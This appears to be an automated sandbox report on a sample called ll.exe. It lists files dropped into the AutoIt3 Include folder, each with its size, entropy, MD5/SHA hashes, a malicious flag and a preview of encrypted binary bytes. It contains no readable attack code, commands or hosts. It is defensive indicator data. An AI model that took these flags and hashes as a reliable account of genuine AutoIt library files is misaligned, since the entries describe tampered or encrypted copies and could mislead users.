Preview:.p.o.R.!H...s)4...0.s.Rr.M..[..+.........Q..ry..oXVo.....x..k.>`......e........y.([....e|..........@L...7....{".....Jvj.@Mx....j1E...p\....7......"n.Q.j...2L.w.C..n...02X.....d....._.....<.S^cu.._ ..C..._qp.B....C*k.0.......H....(.B..Nk..>...?R.J4.`.L......:.t|!...mr...O..a|..s%...^.s.b.0....OB`.6..f(....LS.....=....Y.......8..Z.._O/........Z...u..8....2D..+V./.....s..4..9.V..n......X.!B..\Gw..m70es.!...>.o.>...n..\..1Z6.6...........He.}h..#a.....4.Q.a^....|..N..z.*.rI.6.......O.F.$[.mUSL.=;.....>.;....|.`.....2i.l^R.v.#......._.[.._.g.Pl.........DY&>........z.v..Y.H,.....P.....XN[...T.....Wt=h...Em........^~.s......H...e.[@..VA*.m..5.7G..[=....."4.y.i-......cNY6n.%`.._..u....46...e....b.6.>.%..7..Q....e..(.VSCHXPO(@B.?......g,6f.......}Lf.......\Y*Nc.....P3v_..:.N.\.y......L)%.@.}..?U.......... {$X.gU,..f..p....?....YW..P.Z...Uo..C.9l.3.`[?K"....&.....\.5..3..e..b....N..9..=mFn%.7t...Nn....z...'.Z.W.,Vj.aU......3l.......0.XI.

C:\Program Files (x86)\AutoIt3\Include\GuiHeader.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):44839
Entropy (8bit):7.995648546021194
Encrypted:true
SSDEEP:
MD5:0E53E378E26C7F3B15FE8DAC63AD8656
SHA1:941B35F11E524B6D28CE0F77A44BAC7BC824384D
SHA-256:1BA4C5805B50FA0F55AF3147AD0DC42D13D39EB57B6D7F3C3512ADBF1092C3D4
SHA-512:BFB3208DEB1BB26C566D488D6504AD992B288E5CFB7FEDA67A06A94A24BBDEC7B912C266C9570E0166FCFBCF23A44598E41CB6210283FC81CF88F38CA12B05B2
Malicious:true
Preview:.S..Y....z...$S.Il4...(W..}...8a..9...Wg..4;.....7ixE.P...}!m:.Mw.,.a...yt.l.R...Ij.g.e.X.Z.D.K...D..B...R........vN1.V;].f<.dm...tI...`:.....%R...*F.........}nT..y.\N.b."U..b.H..'.3.:Q...C.m.jY....>...y...}y..8X.R%.....2.l...B9.(M[..p.Hk.Ns.......a.Z..#rT..U....I...N..E.h!.~..uq.$7.0.gf.i.i;....0.k!.6n.%.._.....(jS..t.....n.~...~0..I..z-D?......n7.t.OFf..W../Aj...3...^@.._.-...r.>6w.x...H..:...$.....L9._.e..&.".....}x..e.a._...c.'A..<...&..m.....\_N.v*..6Al...'n.v.S.C.-V.U.7......:.:B../f..r..gDY.G..m........N..._..y.,...` ~.6.?5..tf....V{n'.....}..._............dF..|.U.D...(.@V.1.....`,.v].....R.h.../c}tQY.v...H.4Yl.c(.4..P.b.|.Q...D=.....8...c.q.U..#u...B.P....&.%<u.xS.....8......}.G....]I.D:...Z/.Yd.#..^Qz.S...g_X..mX.W..>....."S~R@..&4.|3.D...!..&......Q...T."..!9...p'..G.Qc..[...........=.@...X5.h.;....+...az .%c.......v.O.f...._.]...u..c...o..-...~...B9.Z....*..kL...A@.l..0.......A.F..|.._.B..9?..5..eJ...WyC3.".%.....e.\...

C:\Program Files (x86)\AutoIt3\Include\GuiIPAddress.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):13303
Entropy (8bit):7.985288840587286
Encrypted:false
SSDEEP:
MD5:E306EB068094710F7E548E836258EBD8
SHA1:C488262979B5BC97D2D757E52CEE30589B5B1DAB
SHA-256:CC89E59F6BF85DCCF6541E9ED1B6C30AB64A325066BF80C35B127FEEDD50CD0B
SHA-512:214E706905699AB92C3145C1D941B15D93E0CA57A6006F0A3854F85BE5385E9C8870A89A8650B09B89B98E53D6C7F62989B3187250E5106E3C25B00BF0112D37
Malicious:false
Preview:I.l..qUc._[.q..........Q..'Uc\n_..+......5.&.;a.h{RP;*...A.-.=h..^.c4c9.4.k...J[.^......(C...6P.k....D+..b>.U.....>.*.=..n..;L.F......E1>.....I...1?.X..xno,..|_......8..dYI..3...{J@%..]n^..<^.g.O...X...N..WXd.Cx.K\H.mL.........3#\..Kx..6?...e.Cv..\.s.s..Nz]....Ep.2b0..+%..c...i.s;..|HxY..^D=#...,.3.....B....Y..<.HC.....$...Y.<I:.F..f....Sh...a......>..6".7@N.i L&...Dv...G.2.Z..hM..;....V..}.z../_...i8y.......'7p..|PV..~..9......vW..{_.J.;s.A...U4y...G._x.:..2.%Y.. 8....[P.U.6..w.vl....iS..>0.?vj.[c.K..d.j......2....D5....JN.I+v....)...Fv........,$Va....(3!.D.{..0..<..].[/...q...f.^.]4W:.....V....ftw:`@.IHk...m..8...&.1.:~.z.:..F.+...k.".A.v6.P.L.....F....%..Qh.Y......w>..1.E...$.@:...>.....k.A..!7..-. ....x....QDD...a..#DC.kt.!..Z(0P=..8...[GH.qMe.?...<1..-...M].$..ai.u.xB.......m?z3~....\...p..$..4^K......c..+1(......_..g.......vUs...........Q.P.{....\.K1!..D]i..x....2....j..Sn...;....r.#.@.......hU#..Qn.%dv.....?Q.,+.C5z.BO

C:\Program Files (x86)\AutoIt3\Include\GuiImageList.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):32160
Entropy (8bit):7.993841874263243
Encrypted:true
SSDEEP:
MD5:88E7D4AC4AF32AEEBD7FA5E2FC26900E
SHA1:B84FA4150A89269732029C5EC6F7362D11F555BF
SHA-256:E7184EA065CC84EECB6062312326939059C76C329A10AEB2CF923331E755AEBB
SHA-512:450AC8594C66794746340CD8848B401E62B0065B8653442A82A99EBE658795119A46C0B455F4F23D384F910665AD2B2170B377078D9CE0A2404D2EDBDA985548
Malicious:true
Preview:v ..A..n.B".ah.n.`...o.3t1..q5..y.P...<!.Wq}........*/.8).,.o....G.......'>.%bH..S.9...G0u*.p.!.&5.U..5........)..=.4.....&..^.a......p.r...."O.x1T.X.k/...yc..`....\...3L....og'..<.S..y^....|.............y+.8%..j....e......<.D..OW.fr.Z.~F.%[BC.EY5...(^..9[^.X/xC.xN..S.^.-..Y.E..u&.&.N#..S....U;......Fx.XD..\.\._.....Q.8....IZ9.4..F..\..U...Hm..o..S.........ELN....7X.t.k.1...c)...>..s%....B4<D.nX.N.r29..U,cK.?.h.q..%.Wv.].. .4T....0...$.&TQ...~B.JY$.oZ...(9.>.)L.)R....&_0*w,].h....g.7.K.tt.X.y._....1V.O...G...G...c.P..V.S.j...0I...q..U$.)TKk.M.$J.YG.. R.H.....!.J...J.w.\.Tv.a./A...J=....V<.C .W.n..7.......DI.@...Y._.p.. .....I.4.v(....o.....`.%..:...RG.zt.31X..5g..3!..2X.G!..yh(z.{}..a.........!...li.J...o..X!....>.}L....I....%S.....S.5...V.%...0....>....W...z8..gI..t.hd...3nT[/.)d.pCf..+k..4....t).>@jKm&.1.z.%.......Q...HS...f.).G.....C."..._.6..Nqt..\P.m.Y.....wt&..d..H....O[.[.s.&...K..[.W...W..._"...]%4|......Yl.G2._".>.....&B.....x.4F|.6._

C:\Program Files (x86)\AutoIt3\Include\GuiListBox.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:SysEx File -
Category:dropped
Size (bytes):44624
Entropy (8bit):7.996505870667199
Encrypted:true
SSDEEP:
MD5:91D462D8419F586C5606E42D3FC95F02
SHA1:34773A8AF16138A9BBC74BDCF100E34385EB6E2F
SHA-256:0AA130D6F12FE6BF6F3FBC04CCE613C0F6DA11A4A8B3A3841DA9C46D3B126914
SHA-512:61ABE6855E6D18283E2042473671DF4E908CCD51F6B6C2D6F8077B7E1113C02205493B4C2601471CA1CED284EF862483A8343A82CE63004A183E05A5833FA2BA
Malicious:true
Preview:.-...-.N............~.).....4.ue...f...(.Z)*y....@.K....RM.p..W..[...Y..i.q..b.m.i...w..D^=..,..(E.KI.......T..S.vj....G......-.b.g{.Lo.%.]C^..O.|Y....<A.N..b.b...)3Y..@.P..@...yc.(.,.R...^..=..*..p./...GS.l...4...J.`8.B..9......L.IXC!n.6.uv...N..T...!..&+...5.^R `2..}....qA...&.......X3O...*bl...`P........$.ft..].p..s.C..7...ddz....z.j...)D.8...e.B....A..3.m.>9.:7..|R`.x.\.`.b...^Gh.P)Y..<....JCu.L......9....0y....x..%f..x....._3..l....1.I....!._..B#bq-.../../nz.4...5..1k.....|)...l.$l~.......1 .#..~...]7.@.....Tv...\@.#....0.~"~..s].pZ)..j...F..DQ..Q...zSL..#I.".3.J.z.q..".i.i.....0..v..^,7.Q-..}....V;adH=^...:..6.........#....^....2..i.s.De...'...vg.\4t.\.......u.[...8....G.....d...h... .s.xl..s...U...'...:...3#..i.....f.../.e.;H.xA.fV..;.......`C..cx...Y....K....g.....z......X4.....7..........z_...oF..MA.....8...`.._.X.Ve.2.#k.GC](.5..K.zK!...BGc..........s ..i.4..[T,..!.....z...-E....Z.*Y.v.'.TB...zw...(.......j.@u!.,..)......v.e..

C:\Program Files (x86)\AutoIt3\Include\GuiListView.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):226347
Entropy (8bit):7.999183491847939
Encrypted:true
SSDEEP:
MD5:A42E3BADB18F284446F01CD208296640
SHA1:6D2C0CB4C085CFD8CAF72B39C6913B373D52BA8D
SHA-256:7726CE6EDD8744E88CBA797CF16FF9C69C3E8776A0620441770AC25C1A9AF048
SHA-512:521BDFB675B7618A566C746E742932D02F10DEA7CC6E449674F43F5A43FF91548FCD166117E036DDDB56E47A061B71EA4EDE55AB43DD58573A554F98089BBEA8
Malicious:true
Preview:(.y..T.H...qLUC.6.E...w..1W........{.n...F.%,....l...b...7.o4A.,.9jiz.V.i)..0....!W}Y......~..d......:'-..X"4b.....bIn....D.X8Y..AA....C.D.s.....8.|p....s....-......A>.Q......f.Tt.<i..+..Q+%.)C..M.vv7%;Z..G#(&X..2.....q..9a..(....1i.E..d.#............Vd"..'..xF.=..G...2....^..I...J>.]....!...x...8.G..\x..Ig..<..^..:C'..a..K..F....D.......M..J....I...}d..?X`..w.m.yQ...dVn%..L.GM.]wC?x.".!.}&........3c$.......r.....7..[....V[.A.s/..Q..F..._.*P.......].?......,y[.y....g|*.+0.4X...=..X.60?.Hxo..Ig%D.&q.j.....iW0.B..G.....i0a4..a!=.......n7Cf..3(d.w.'Q..6..~..%..F........x...v!...U&......F=s!....._..*....G6H.)k.].j....|g..%.....Z.]T%+5..E...M...D.3~W....1|....;..b......ob..p...X^*S.RS...G...A.B.!.f:...Qws.#M-7.q.&.M..-X...m.....S5.x.."......F..O..E+1c......g...>.@-........N._..k3...T!Y,8{....d...zw.H,4....8.-i...&..vz..)...t....6ZvV?...1SE<o...L....".q.M,C)8.....Z..1..BwJ.`;=.......*5/e.H..4&n^^....l/.R.x.7k9......p..?..}.p.......[..u

C:\Program Files (x86)\AutoIt3\Include\GuiMenu.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):62444
Entropy (8bit):7.997302633453676
Encrypted:true
SSDEEP:
MD5:E4E62DBE644C75D3230BFFDF35166109
SHA1:D50E9C8BC424B27C47566804DA67A2651B408F18
SHA-256:7C73E339662B583BB46F82EA2E89AB4780EF895449D098E9EE8E456C4B5CBDAE
SHA-512:B10CB36FF92D0354926083A44F682F623E55B7B15FFAD414F5317B43E08D2BAA42FA1DE2E16CD4038CC1844532B1AEB28AB8FE4F8AB121840A928E816BB9829F
Malicious:true
Preview:.g9..V...>.D..+.N.(......... .&.[SZ..g....S.....Ctm.XE.......;X..A.~&.E..VcjC...6a.|.........-.$0..YR...{..`adZ..2~t....o......e....g..-.?1.)5\.)T.....w<......DP...X.....s....v.r..A.A.u.-...X.=..yH..R.........iac...L.G+.l....V).|.....!J;U...R..]..Ul.uVvl+...a'.k.=.......T...\.3.*...XQ:..{...h..^),...........s...g.W......WM..........L...i.m[..,HQ....]...<&...-..7r.L.i".C...(...E.x.."][...|Ml"*........dNO.5rt....y~.^d...e.;?..p..<...B&.2.WM)..%b..Vl.....A...A.J..!&eC....M u..Y<t.g...].uj.!>....S..6.\.q.(#=nx..*..-X;...Y.di.....2r...N]....l.F...(...b"ih...J.va..b_P.s.G..YK.c....m$r.0..O4wc..9[.R.'...I..:....H..|&$....../..{....z......>....+9....Y.Mr'..#q.......5F`p0q..e$..o...)x....X#..[.s...n...\...L...U..._..vP&e.R..w....h.8is....iRD.[...m.i....Z.>...P...y.m..>:..x...%...X.}W..[q1}.....;>Q..=.]F.-*..'`.........&......:..qc...v...+...fMC. ...q...IT>..tl.&..@..i.{....$7,9L..k..b.7.....N..yi..a.x..Z....Q-..1^3..7.)..YqZp.fBI6.....$...G..S.pP.

C:\Program Files (x86)\AutoIt3\Include\GuiMonthCal.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):45941
Entropy (8bit):7.995628305403706
Encrypted:true
SSDEEP:
MD5:1B457D5C33723179703820FDC5CFA949
SHA1:D2335FD3AAE30AA4F1C672140A19795F95C19082
SHA-256:ADF1FC0A15CB28160D5C153A0130B0A3F1013F4B7B37C211BE1A6A6C3FB6F679
SHA-512:BE2B87D53F1C3CD0D4DEC0B8CA6D0063CDBE029A5EDA54325EA719216DFBD87B8A3A249EACA0A42095C86CB820E82DA313E1BDB73EB5709C74DD88E804A18FAC
Malicious:true
Preview:.qf.......5T[...Hh...).%&#......w.>./...G?.<D5.{.|V.......`.G....Gt..d.........H....m..L.l..L...$.0ky...j.y~....?...4.I..S1.t. .lj!.[.!.............(.d....S4.PPE..|...xmT..R.Vq?...D.^G..Q$.....p....}R..........g...6{i.v.S......1e".r.....CiP.......E...Ybm_..u.J......../..:....|w^........."..J[.|.]\mT......j.h.bJ...H....L..ywzgGx.co_).WxG.(m..5..D...B..l..^.........k..../.k.'.).D.p.t....7fG...[.Q.mD,C.p..\..H.....1'.6.....&...=.....B.r... .$...F...S.u.b.....E.0g..".j......m].....H..(.."Tae..L.i...3:..#a:.$j..{....dz.]...Q=....p....%.p..c..b..fV(...a<......1..].....f.....U.._.,L2.+..NfH.....k.hrM.{W$..-...@......d..W.".wX]*.y...<..w.a)..b_...C.38....'.DCDyO...=`}.}jW....SC......K..y)..z..%.f]"..65[..)....S|.....2.....s0..j.z...p......._A....a>.(/.(^f(..-.a..l.....kuU...t.N(..#{^....... Y..12a.us3.J.f5S.(..q....^.8.2+.tF2|.O.N.=.,+..l...6...Xt..P..a.TU....*.l.K'.....l..........%....b...k7.r..|.`....E.(].0.N.C\..,...a.j||...'[W

C:\Program Files (x86)\AutoIt3\Include\GuiReBar.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):70334
Entropy (8bit):7.997362215864107
Encrypted:true
SSDEEP:
MD5:B723CA98CB97151D2E21EFC457C7F6A8
SHA1:5B6EC7EB737D9D90CE68322A42DE5B7B9B654978
SHA-256:0E2BA1994A531440CA2B1A9639F1E0C550ECA8CBF7C7E99E03BD737A47D7C7CD
SHA-512:92C716EE69803DB9A760B1B33CB24CCD000C850F7962D3ED76B56787D02E5D7978FA533AE6DD4431E720C7DB2405E1829F59373E651A460C17C03C13ECDBC973
Malicious:true
Preview:.I..!.y%Z..S..b.}...b.^.j(5....o.Qd....zl[S.....?....p3.}'I.]n'.....&.l.'..ib..........9.w~.|...5./....^..\... ..jX*..7 I.....|.;.4;O.....{65dX.8...(..4.j./.6..!.z.CB.....P{.iO<U..pz}..t.5....1...r[y..T.98....J.u>..jlxm..?\.w....KM$X...v.u4?...8..~;....IQ2..........R.E.\b..hw.G..p.mwo..[.A*D..O....&......![..S.:.S.'.;C....~rp#p.:..Pn.l...,.X.....\Y....0...2.X5Z..|I.g.u.5.J..7y#..s.G.8.S....>.GDD..G..0..0......}3P..zmi..9.2...P...S........RJFR.I....=...."b[B...N..U....3....5..J..p.n..........K..\.&;..._...'.'O.:...Z..eKc..M.....M.@h.....|L.e..j._...c...3b.=".1G....\.W+.Z._dx...V....?*.Q......Ys.0.s3.h.^._...C..L..ES:.0dW....~....[..^.....C.4.W.)..`.7]0..G.3..5Y....<..5M.>.g.=........S.].%.56}B.r\..."pw?....f..$.Aje....$R...-.....H..+.m.....W.#4B.*(.#?&_T.....+.....@....P.Su..E..;*p..sB..D.M.m.C.GwhdT..'<o....9..............N....G...i.L.M.B9...z.....&...!m.7].6r6~5.u...<;...&E...#^h..J...E`..u.c3..k.86..B.W.+ST..%d'l.=...|'c'.....}e#.b

C:\Program Files (x86)\AutoIt3\Include\GuiRichEdit.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):209711
Entropy (8bit):7.99903774726029
Encrypted:true
SSDEEP:
MD5:E38FA8932BF36858EEAA5C1F0FF9B48D
SHA1:AE9B78D4BF4B2CED9F429D877F68F313FD126D5C
SHA-256:A4E22A83F000FEF095C2C409F5EA95EFBD3399B1DAA7F22A8999094199B6809A
SHA-512:927B366E0F9189A730ECDB566356EB0EB33A40273F6FC7193C3318AC19FB89C4B924832A73D44C31582D27395BE321014F2654A25A1D61115717771439DB6B66
Malicious:true
Preview:..2H..F|$.P..R..?....,.. ..v.T.`.!x....w&....).V.B...b]|...J./Q?j....R...-../.7.]....H.......g.]%^.......j,P.x..A.h..NE.T.{...(]#..6....O00...H.2E&...I..J../.ct..O...4.cc.#.7...o...l...r....u.>..k....Ef...VV,.vH !.Z.MmV...v6.f..F...o..$...D.f..jAfU.lV.1g...gn.d.(.QH.eWe.......x3...lP.:C.....T......,.X.ma..h.0.......z".Y.NB@.9..........9...w..'#w.s.....-9...'i=[Q.o..y0!.m.@.*)"h+...0. .2...d.Eq..+N....c2Fs....#....F9K..)...../h...4..u..0....2Zs.-.;..1..N...w....R6:i7..WR...8...*..i<'.Iy_.u .eWQ....nH........`....u.w9...4.~...:.. .:1.~?........$.!....9..T.XR4a..,...L...s^...G_.P&i..y6s<.gO2w9-)....l.....X...6...w<.......H..$.v.Ow..I.;.c.....P.Lu...3t..R..].....a.5.l.M.F.f..Igz#.. !W.H.....Q.T...2..n.B....H.fC..a......./l..f..l$..Tg.i..<r..^.P..}L.<$...c.8..S.'.dP..6....=9tP..k..vY..;..=U...|%..3.[.`.&Z..uu{).W%^...'.......s...h.@..\O9..B.H.f.j.59....u.V....je5..G`........#.m=8.w.:....FP..b......L*.t\....t,...Q..V'{.Qf.s9.A...wv...j.k...'.W.g

C:\Program Files (x86)\AutoIt3\Include\GuiScrollBars.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:DOS executable (COM)
Category:dropped
Size (bytes):25250
Entropy (8bit):7.99377688416434
Encrypted:true
SSDEEP:
MD5:97FCF4434D673A64ABD4B1C006ECE2D6
SHA1:D8C09B74690C91F422FC44ED4E801BD20C8D7A94
SHA-256:430E6BA6D531EF4DBE3707A18AFD970654FCBC63EAC2AFFF345980F64976D044
SHA-512:2F18B8FE79B9B733DCCC564A9E6923E0A977616E947982543F6317822E6817424D65A2DE802B892EE987505AC6A4A1775F48606339B218A372B74FFBA14D699A
Malicious:true
Preview:.o...&.i.e.l).......TTcO.Z..mg...J.m.......Y_..Z.r..U......ly...pR<o.q....._.4.3..bM'j...|.r=...#".6..a.9.Hx....d...Q.4..,p.ao..ps..s....(.O.....4.x..T.q.T.:.f..J.o>........W3.{......wf...".V.lD...7....l^.......v.&^9.O|w\ D.....nh...C...I...|.^.....0..IV..Zv..W....../.Mk.(kJ...C..T_.`.%.J...^)....._.8...C....4^...qqI....&..{u.ily...E..(.o.t}L..V0.M..0....+! ...;hd...O%n..^.2..h..t......aV.....(.a.1 ...B..]...|j.EZh.t.=.^.D.P.....q0.^..G.%...k1..q%.s...$...c(.3<!ix.F....,'D.|.k..-.~..R.V..[.....f..J/...|.lt@_Gd.7'\...w6....|H.....m.......a.~.P........'iP$t..Z.m.f...P.....Z..Z.?.M.&."-.>.R..!W....Q.....X...ArW..{P.......[tSB2.I.....=.12"...`..v.....OS..N.F....{).C.`=..4}.n....'..........+4...p ..^Y..././m_.%.IW.q..r..._........".. ..^.z.r.*$6S.>......,W.)........[ ...'..J..m.`-w.h..u...\..G....@m.......kQa...R..'....i.......v..q..d.....cTW..o.h.3....!..X.$....s...[mbvZ.YR.y......Q..+..a..[......I.:"..'..A....<.j.8..Zo+?ZIZm../Mp.h....]F.G..d...^&S.w..4{...0.

C:\Program Files (x86)\AutoIt3\Include\GuiSlider.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):27308
Entropy (8bit):7.992763743250178
Encrypted:true
SSDEEP:
MD5:0C8A9D3A950BF786C91484A3FCCECC33
SHA1:75B545B11615C839B5C97FB494E549A83BE9EBDF
SHA-256:4958896D4B54F57A59F95CC8E8B14B46D8F8A937E32BA01071A7507FEFCBE69B
SHA-512:7053A7761E903E7C1373EB085B13FE720F3E8A7912C8A5D581FCF1A7E7770D463DAF61EB63663C43E4CE489D7CA388385E3F7B0BD54787E088080D4CB9C25537
Malicious:true
Preview:HJu..0.....A.0.}.&...e.....t.........b..KD...2.j.H J.. \R.2.,..i..q.R.../.O.k,,%.+M..:*.3r...UG..(.v..A..o5..t_.._.. .?D3'..d.<[...,....R...|c....78>.$..W..h.../.0.=6...%....p?..........J.... J.......2{5.%.y...S)$..E.....%.W...cf.L,.lI/$..X..9.........=..?.z......F.Q3.C.L...|....+.SI.1..".g....-..#.&<..|..=dZ.[..R.....$G.._..Y.....\/.w... .B....Y.t..q..c... .w...!.AK..m.l..I.....U......Q;..G......J ..V7*....+j.Hq...37.#.L......V&...Wyc..v.D...x.9`......C..0.~1 ..Am.t.z...T.T.....&"M8..%..S....:..O.G.ZX.t....f..7...+..LT.Z....,to.1..t,.....Yl........r.j..(../s.).}.Mm./.....C.).%i ...._.n.e-]..9=q.k>.#..\.d.Xm......h.W.La.~o.x..l....)..J..G-.q?..GO...J..d.*.....]..).'D3.h..Cxm...O.8.......7d..Uo.%..JJ.....@\..n..A.l..D.6..1.....t.0....}[....x+...U\.dC.JD..T..N.....[z+.0.p...Zc.{..........]......./.6g...^...).....@3.6[...#.,R...n).....;E..Y.02...<%w>wF... ....G".O..Ae2.lG.F..p..u..aSxXd&....q.8^..2:..FX.../dX.GFuf.&.3..p.....$..b..v...8...

C:\Program Files (x86)\AutoIt3\Include\GuiStatusBar.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):31881
Entropy (8bit):7.994787306781996
Encrypted:true
SSDEEP:
MD5:218A64F93E238888015C0BC00CEDAE32
SHA1:C05078B485E6DC898150ADB098D6BD06DCD27CD9
SHA-256:D6A06D6DBEF2E7A26425822CA14393348F70A5FF256E0E1C5C73D714D1DDDAF5
SHA-512:9610192B8094E78F8B2DA56D3D6B65C3D897ABED2ADC64657527260163F794F703053CDFE279C89DAACE9C7FFF17E3BF35CACF5579DBAE445D29470021AF00F1
Malicious:true
Preview:..I.v../U..DN...7.Pc...3....X|y...Z...6.._U..0.R..S.$...z.'G#b.V<..L.U^....5.....,<.>)..Px..k..\.......$..^.bLf .M.$.W.%.T/..B*X)j.7{...........+...j.."H..f.W_h.....nP..Q........{..a.Q.y.g...J...#.9......@v..U..=.k....$...tw.c..,W...=...T....".H.!.vF..W.B ..ybFRN...D...@......N.l.#bmw.V.'o..MQ1b.B....;...@qI...3.n.......BD......Q..-/.C...3l.....F.G.'.r.s....7..l].d}....K%.g.q;...[.3..EB..,.b....o6|d.@..;....t...6.8.*.KiO#..F...@.e.?e(...ud...Fg....V.=.....G.....a-.v_....}...d........c....=q..#....2c...=.Pu.....u?..XD>E.?.9.5(....[......c.4.:...........W.8,s....U........)2......vEs.....9<Y\...7.+7...L...k...p}..SCa[../...E..(m[..P...m....(Q..>L.zW..$U .$..A..z.]...7..U..q........j.C.}.3..Q..r..c.G.......c9..6'+..Q.^.e.....d../.%...'......|.|.... %QC.j#j...O._...5...5 ....X...=m}.d....O..?..R..D.R.".rW...:J.q.........b.e.b.Pb.]...Ji.th.K.8~...K.qN..1..t.%T..&w..4.a.KR...&xX...y5K.;..b`...LL.q7.....5..E.......<...r.Z......\sW.B0...6....

C:\Program Files (x86)\AutoIt3\Include\GuiTab.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):42001
Entropy (8bit):7.995497296587148
Encrypted:true
SSDEEP:
MD5:E5EFFA6BA41C5F23594547120498ECF3
SHA1:A56BBA6C65BBD4EF255F72F467616310C6D9E36F
SHA-256:94DEDD3A400B5C5DA7C6B90E886556569BBB623CEA8F22A4FBC5F603DE18CD46
SHA-512:D9A8C30FA081EAEA0CB2DF3C486BA08C7CFA42EF806E926C8057B1286C546A2CA3940429E2B405BA7B84D79F62C267696B116068D98357CC1DD3D4120B8D84A7
Malicious:true
Preview:.,P.4..Q[C......Z..~...?..Pa..,.=./...\R.....=..A...c..2Q....0.....g8.iI....}'{...86.g..,...'}.....,...WL]..!..7...EO..R.........v..N>...)4...>.in.f.C3........gN..S.b.+.....:...w.r...A]O...h.>..v.>....O1Z.K...e<.v.....k.~..H...n..]2...0..G.:...N_.W.:!.^x..*~=k.`.Bl.*$!.S....t.z..pa...P...).0.sXh:.X..h.X....l"'O..*.l.F....>..%...Y...d.r|.!.>"...i.`..Pu.=...._K.%.2.i..X..8.3$I...+....5~.U.;.....!.-x..........`..,.Pq\/.......Xi..F9.Y.t..}.&:4...7A.Q......:G[..i..h......|.....ii.w.....*.k#~9..I.d.r....S.#WY..3jTH..MP..!..u{.)7BH.g(.......X.(m.#.@c3..]R'5.!.m$.j(x}.'36..=.u..r...n.r|9.]...$6....,M..b.J.....".D._.d|..).....j.u.....k...=..4.D0..G..fDLp...'#..y..Z....pYGQt.?.>V......a/.^.FCO.Ja..G.t.Y..<.Y.W..<..a.v..........BWb.^..t.3-..*C5.+..........$.P.yDs^.'y......}s....j.5..T}...y........r.6...w..$7.<..U..{PN.ZHR. ._.%cN..]._..4....m.J.+...\nls..E..59@..P..+xu..N..E..@@E.>........n.q..[....Xy..3..{v.u..c(.HS..r...M.D..9......

C:\Program Files (x86)\AutoIt3\Include\GuiToolTip.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):49071
Entropy (8bit):7.99613887082047
Encrypted:true
SSDEEP:
MD5:B060F245CDC3094B64046DDC0074E92E
SHA1:2CE518DD2D3988EBDC7409726E495327C8627669
SHA-256:253CB2F5BEF03EC09B25512BC71FDB906D322D3BD3768342BF921B149100C595
SHA-512:7E2F3560EE677386B74A20F998D03E42AD7BB92B2BDF8D28B58B61F4F35A7954B223DFBC9743541BF192DCFBDF66DCDCC4314C7F9726667357F94FA132F82A18
Malicious:true
Preview:.uR.1.!k......hj..o.4..V_Q{;.4..u..QNX....pE[D.NzM..R..0Nf.g,.....U.....gf...v..>.9......"...U..o.$}d'........gw..u.U4.#.../....T~.QL.K.KN.'L.=.#...0b..8...D...7.|...1b...W.Q..k..D.M`.}p..h..4.24'z.N.GYo~.m+.8..n.|.+..1j;.S.Y...$...^D#Q5.e...0.c...f..|9.....S.\....'....c'..v.jc.)...#..P.......O.........{......fu.*D..9.b.kp.J...Q..$o....Z.e..,..n.E..."r}.seBf...A..t.by...y...F.~....#.`N..2..9..|s.5.27..i...y.s}{..q].ESx.-2.ArwS.cc)3.f}g..n`R......Q......J.4..+.{....6'Is.{@.e.....c~+..K...p.=g..!.MY.&..!Z....B.v<..,V9(C.%....O.Re...:r...G.+...RO......D0+.m.....R.-?ZL..b....3.(. K..H.........:..._sl..O.d..E.R.......#=....`.ivt..${C...4.$8 d~udC...M...Y.......^j....z..a.`.h..f.C...P...RI.*...... .~...VD....Bs..jB.4..*I.S...Q.p'.X....A.Y pyU.fF..^.....P2B...x+0.p.. .i..*aS.'Z\.@...N<%.?.........].t....*L....f,cw.......-}.*.\.....LZ..`.8..L...x..X..hb.-....C.....G...Rr}...R.<..P...\(.GY.%$gn....Ex.......-.`2..|....T..D.co..a2..b..8..3.....e6.>......~.o.

C:\Program Files (x86)\AutoIt3\Include\GuiToolbar.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):89950
Entropy (8bit):7.9978731788399555
Encrypted:true
SSDEEP:
MD5:F47CD5BE28CAA0BC27C97B1DD60BF8FA
SHA1:989C8E5E692BBFCFB6CE0AA3FBA6A69CA292D9D6
SHA-256:8FFB5914714583D77D5FB8982EAAE5D9E5A6AB6A1E6328A1976D321507393A84
SHA-512:80B5B35517D72917ECCE6EB884D1525A199B3AF09BE30D9039D52747C38B51FE0A3D2A052ED79B5499F2373FC719F2C5A489BAEC7006FF31DD072DD5FEAA1F2D
Malicious:true
Preview:.j.....B..w"..3....J.m...[...zd.[.#vry&Y#{. ..,.!.....#.....'.97..t.;3.p...../3.$.J..=...'...r......h.Or.9....k.^4......fVr...s~%c-...c.<..E....I..&..-...Fo.o...Gx.....`.....B..`.#..Bi.@9..n......rS8....wM......E.P.E...C.f....O...H0.....>k.....HoZx.a<d.P....S&......(...R.j'\.;..r.My.Ss.E-.1.b...s. E.......R.k....s.....%..:.,.wk./]s>Al.b....@..;....e.YT.N..%.l5r...`..............b......I..H/L.f..#.e...q..ER..;..._g.q.B._Dc.s].QO..k..._..W.I%..c.....Ab4..bV].;mXy{{~.kG........b....p`I.F.>....G..y.7....6..Ih7....)...K=...o.#(.W.4j..r..b.>.c...I.....<...j#q.c5@_$o........0....|."!.... .H...a.WZ.r`<.h.B._.......>= 